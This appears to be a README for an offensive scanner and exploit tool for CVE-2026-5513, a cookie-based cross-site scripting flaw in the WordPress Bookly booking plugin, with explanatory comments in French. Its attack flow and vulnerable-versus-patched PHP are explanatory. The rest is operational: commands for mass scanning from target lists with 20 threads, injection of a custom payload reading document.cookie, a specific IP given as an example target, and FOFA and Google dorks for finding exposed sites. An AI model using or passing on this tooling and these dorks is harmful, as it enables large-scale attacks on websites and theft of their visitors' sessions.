Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
         → Visit page with Bookly booking form
         → Plugin reads cookie, renders value without escaping
         → XSS payload executes in victim's browser context

// VULNÉRABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // Aucun nettoyage
echo '<input type="text" value="' . $full_name . '" />';  // Aucun échappement

// CORRIGÉ — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

 ✓ Sondage automatique IP/Domaine (HTTP/HTTPS, ports courants, détection de redirection)
 ✓ Détection des plugins WordPress et Bookly avec vérification de version
 ✓ Détection du paramètre de cookie (analyse JS BooklyL10n + réflexion canari)
 ✓ Tests XSS multi-contextes (HTML, JavaScript, injection d'attribut)
 ✓ Injection de charge utile avec vérification de réflexion
 ✓ Cible unique ou analyse en masse depuis un fichier
 ✓ Analyse multi-threadée (jusqu'à 20 threads)
 ✓ Support proxy (Burp, etc.)
 ✓ Sauvegarde automatique des résultats vulnérables
 ✓ Menu interactif + modes CLI

pip install requests colorama

# Vérifier une cible unique
python CVE-2026-5513.py -u https://target.com -v

# Vérifier une IP unique (sondage automatique des ports + redirections)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Vérifier + injecter la charge utile XSS
python CVE-2026-5513.py -u https://target.com --inject -v

# Charge utile XSS personnalisée
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Analyse en masse depuis un fichier
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# Avec proxy Burp
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"